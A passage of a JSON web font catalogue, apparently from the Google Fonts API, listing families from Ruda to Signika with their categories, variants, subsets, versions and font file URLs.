        "800": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLFtS_-2KiSGg-H.ttf",
        "900": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLstS_-2KiSGg-H.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rufina",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rufina/v7/Yq6V-LyURyLy-aKyoxRktOdClg.ttf",
        "700": "http://fonts.gstatic.com/s/rufina/v7/Yq6W-LyURyLy-aKKHztAvMxenxE0SA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ruge Boogie",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rugeboogie/v10/JIA3UVFwbHRF_GIWSMhKNROiPzUveSxy.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ruluko",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ruluko/v7/xMQVuFNZVaODtm0pC6WzKX_QmA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rum Raisin",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rumraisin/v7/nwpRtKu3Ih8D5avB4h2uJ3-IywA7eMM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ruslan Display",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ruslandisplay/v10/Gw6jwczl81XcIZuckK_e3UpfdzxrldyFvm1n.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Russo One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/russoone/v8/Z9XUDmZRWg6M1LvRYsH-yMOInrib9Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ruthie",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ruthie/v10/gokvH63sGkdqXuU9lD53Q2u_mQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rye",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rye/v7/r05XGLJT86YDFpTsXOqx4w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sacramento",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sacramento/v7/buEzpo6gcdjy0EiZMBUG0CoV_NxLeiw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sahitya",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sahitya/v4/6qLAKZkOuhnuqlJAaScFPywEDnI.ttf",
        "700": "http://fonts.gstatic.com/s/sahitya/v4/6qLFKZkOuhnuqlJAUZsqGyQvEnvSexI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sail",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sail/v10/DPEjYwiBxwYJFBTDADYAbvw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Saira",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/saira/v4/mem-Ya2wxmKQyNFETZY_VrUfTck.ttf",
        "200": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNHobLYVeLkWVNBt.ttf",
        "300": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGMb7YVeLkWVNBt.ttf",
        "regular": "http://fonts.gstatic.com/s/saira/v4/memwYa2wxmKQyOkgR5IdU6Uf.ttf",
        "500": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNHUbrYVeLkWVNBt.ttf",
        "600": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNH4abYVeLkWVNBt.ttf",
        "700": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGcaLYVeLkWVNBt.ttf",
        "800": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGAa7YVeLkWVNBt.ttf",
        "900": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGkarYVeLkWVNBt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Saira Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRMQgErUN8XuHNEtX81i9TmEkrnwetA2omSrzS8.ttf",
        "200": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnbcpg8Keepi2lHw.ttf",
        "300": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnCclg8Keepi2lHw.ttf",
        "regular": "http://fonts.gstatic.com/s/sairacondensed/v5/EJROQgErUN8XuHNEtX81i9TmEkrfpeFE-IyCrw.ttf",
        "500": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnUchg8Keepi2lHw.ttf",
        "600": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnfc9g8Keepi2lHw.ttf",
        "700": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnGc5g8Keepi2lHw.ttf",
        "800": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnBc1g8Keepi2lHw.ttf",
        "900": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnIcxg8Keepi2lHw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Saira Extra Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFsOHYr-vcC7h8MklGBkrvmUG9rbpkisrTri0jx9i5ss3a3.ttf",
        "200": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrJ2nR3ABgum-uoQ.ttf",
        "300": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrQ2rR3ABgum-uoQ.ttf",
        "regular": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFiOHYr-vcC7h8MklGBkrvmUG9rbpkisrTT70L11Ct8sw.ttf",
        "500": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrG2vR3ABgum-uoQ.ttf",
        "600": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrN2zR3ABgum-uoQ.ttf",
        "700": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrU23R3ABgum-uoQ.ttf",
        "800": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrT27R3ABgum-uoQ.ttf",
        "900": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTra2_R3ABgum-uoQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Saira Semi Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MN6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXdvaOM8rXT-8V8.ttf",
        "200": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfDScMWg3j36Ebz.ttf",
        "300": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXenSsMWg3j36Ebz.ttf",
        "regular": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MD6c-2-nnJkHxyCjRcnMHcWVWV1cWRRU8LYuceqGT-.ttf",
        "500": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXf_S8MWg3j36Ebz.ttf",
        "600": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfTTMMWg3j36Ebz.ttf",
        "700": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXe3TcMWg3j36Ebz.ttf",
        "800": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXerTsMWg3j36Ebz.ttf",
        "900": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXePT8MWg3j36Ebz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Saira Stencil One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sairastencilone/v1/SLXSc03I6HkvZGJ1GvvipLoYSTEL9AsMawif2YQ2.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Salsa",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/salsa/v9/gNMKW3FiRpKj-imY8ncKEZez.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sanchez",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sanchez/v7/Ycm2sZJORluHnXbITm5b_BwE1l0.ttf",
        "italic": "http://fonts.gstatic.com/s/sanchez/v7/Ycm0sZJORluHnXbIfmxR-D4Bxl3gkw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sancreek",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sancreek/v10/pxiHypAnsdxUm159X7D-XV9NEe-K.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sansita",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sansita/v4/QldONTRRphEb_-V7HBm7TXFf3qw.ttf",
        "italic": "http://fonts.gstatic.com/s/sansita/v4/QldMNTRRphEb_-V7LBuxSVNazqx2xg.ttf",
        "700": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JKWUaXl0wqVv3_g.ttf",
        "700italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJ9Xx-xodqz_joDQ.ttf",
        "800": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JLmXaXl0wqVv3_g.ttf",
        "800italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJ6X9-xodqz_joDQ.ttf",
        "900": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JJ2WaXl0wqVv3_g.ttf",
        "900italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJzX5-xodqz_joDQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sarabun",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2020-03-03",
      "files": {
        "100": "http://fonts.gstatic.com/s/sarabun/v7/DtVhJx26TKEr37c9YHZJmnYI5gnOpg.ttf",
        "100italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVnJx26TKEr37c9aBBx_nwMxAzephhN.ttf",
        "200": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YNpoulwm6gDXvwE.ttf",
        "200italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxUl0s7iLSrwFUlw.ttf",
        "300": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YL5rulwm6gDXvwE.ttf",
        "300italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxNl4s7iLSrwFUlw.ttf",
        "regular": "http://fonts.gstatic.com/s/sarabun/v7/DtVjJx26TKEr37c9WBJDnlQN9gk.ttf",
        "italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVhJx26TKEr37c9aBBJmnYI5gnOpg.ttf",
        "500": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YOZqulwm6gDXvwE.ttf",
        "500italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxbl8s7iLSrwFUlw.ttf",
        "600": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YMptulwm6gDXvwE.ttf",
        "600italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxQlgs7iLSrwFUlw.ttf",
        "700": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YK5sulwm6gDXvwE.ttf",
        "700italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxJlks7iLSrwFUlw.ttf",
        "800": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YLJvulwm6gDXvwE.ttf",
        "800italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxOlos7iLSrwFUlw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sarala",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sarala/v4/uK_y4riEZv4o1w9RCh0TMv6EXw.ttf",
        "700": "http://fonts.gstatic.com/s/sarala/v4/uK_x4riEZv4o1w9ptjI3OtWYVkMpXA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sarina",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sarina/v8/-F6wfjF3ITQwasLhLkDUriBQxw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sarpanch",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sarpanch/v5/hESy6Xt4NCpRuk6Pzh2ARIrX_20n.ttf",
        "500": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziV0ba7f1HEuRHkM.ttf",
        "600": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziVYaq7f1HEuRHkM.ttf",
        "700": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziU8a67f1HEuRHkM.ttf",
        "800": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziUgaK7f1HEuRHkM.ttf",
        "900": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziUEaa7f1HEuRHkM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Satisfy",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/satisfy/v10/rP2Hp2yn6lkG50LoOZSCHBeHFl0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sawarabi Gothic",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "japanese",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sawarabigothic/v8/x3d4ckfVaqqa-BEj-I9mE65u3k3NBSk3E2YljQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sawarabi Mincho",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "japanese",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sawarabimincho/v10/8QIRdiDaitzr7brc8ahpxt6GcIJTLahP46UDUw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Scada",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/scada/v8/RLpxK5Pv5qumeWJoxzUobkvv.ttf",
        "italic": "http://fonts.gstatic.com/s/scada/v8/RLp_K5Pv5qumeVJqzTEKa1vvffg.ttf",
        "700": "http://fonts.gstatic.com/s/scada/v8/RLp8K5Pv5qumeVrU6BEgRVfmZOE5.ttf",
        "700italic": "http://fonts.gstatic.com/s/scada/v8/RLp6K5Pv5qumeVJq9Y0lT1PEYfE5p6g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Scheherazade",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v17",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/scheherazade/v17/YA9Ur0yF4ETZN60keViq1kQgt5OohvbJ9A.ttf",
        "700": "http://fonts.gstatic.com/s/scheherazade/v17/YA9Lr0yF4ETZN60keViq1kQYC7yMjt3V_dB0Yw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Schoolbell",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/schoolbell/v10/92zQtBZWOrcgoe-fgnJIVxIQ6mRqfiQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Scope One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/scopeone/v6/WBLnrEXKYFlGHrOKmGD1W0_MJMGxiQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Seaweed Script",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/seaweedscript/v7/bx6cNx6Tne2pxOATYE8C_Rsoe0WJ-KcGVbLW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Secular One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/secularone/v4/8QINdiTajsj_87rMuMdKypDlMul7LJpK.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sedgwick Ave",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sedgwickave/v5/uK_04rKEYuguzAcSYRdWTJq8Xmg1Vcf5JA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sedgwick Ave Display",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sedgwickavedisplay/v5/xfuu0XPgU3jZPUoUo3ScvmPi-NapQ8OxM2czd-YnOzUD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sen",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sen/v1/6xKjdSxYI9_Hm_-MImrpLQ.ttf",
        "700": "http://fonts.gstatic.com/s/sen/v1/6xKudSxYI9__J9CoKkH1JHUQSQ.ttf",
        "800": "http://fonts.gstatic.com/s/sen/v1/6xKudSxYI9__O9OoKkH1JHUQSQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sevillana",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sevillana/v8/KFOlCnWFscmDt1Bfiy1vAx05IsDqlA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Seymour One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/seymourone/v7/4iCp6Khla9xbjQpoWGGd0myIPYBvgpUI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Shadows Into Light",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/shadowsintolight/v9/UqyNK9UOIntux_czAvDQx_ZcHqZXBNQDcsr4xzSMYA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Shadows Into Light Two",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/shadowsintolighttwo/v7/4iC86LVlZsRSjQhpWGedwyOoW-0A6_kpsyNmlAvNGLNnIF0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Shanti",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/shanti/v11/t5thIREMM4uSDgzgU0ezpKfwzA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Share",
      "category": "display",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/share/v10/i7dEIFliZjKNF5VNHLq2cV5d.ttf",
        "italic": "http://fonts.gstatic.com/s/share/v10/i7dKIFliZjKNF6VPFr6UdE5dWFM.ttf",
        "700": "http://fonts.gstatic.com/s/share/v10/i7dJIFliZjKNF63xM56-WkJUQUq7.ttf",
        "700italic": "http://fonts.gstatic.com/s/share/v10/i7dPIFliZjKNF6VPLgK7UEZ2RFq7AwU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Share Tech",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sharetech/v9/7cHtv4Uyi5K0OeZ7bohUwHoDmTcibrA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Share Tech Mono",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sharetechmono/v9/J7aHnp1uDWRBEqV98dVQztYldFc7pAsEIc3Xew.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Shojumaru",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/shojumaru/v7/rax_HiWfutkLLnaKCtlMBBJek0vA8A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Short Stack",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/shortstack/v9/bMrzmS2X6p0jZC6EcmPFX-SScX8D0nq6.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Shrikhand",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/shrikhand/v5/a8IbNovtLWfR7T7bMJwbBIiQ0zhMtA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Siemreap",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/siemreap/v12/Gg82N5oFbgLvHAfNl2YbnA8DLXpe.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sigmar One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sigmarone/v10/co3DmWZ8kjZuErj9Ta3dk6Pjp3Di8U0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Signika",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
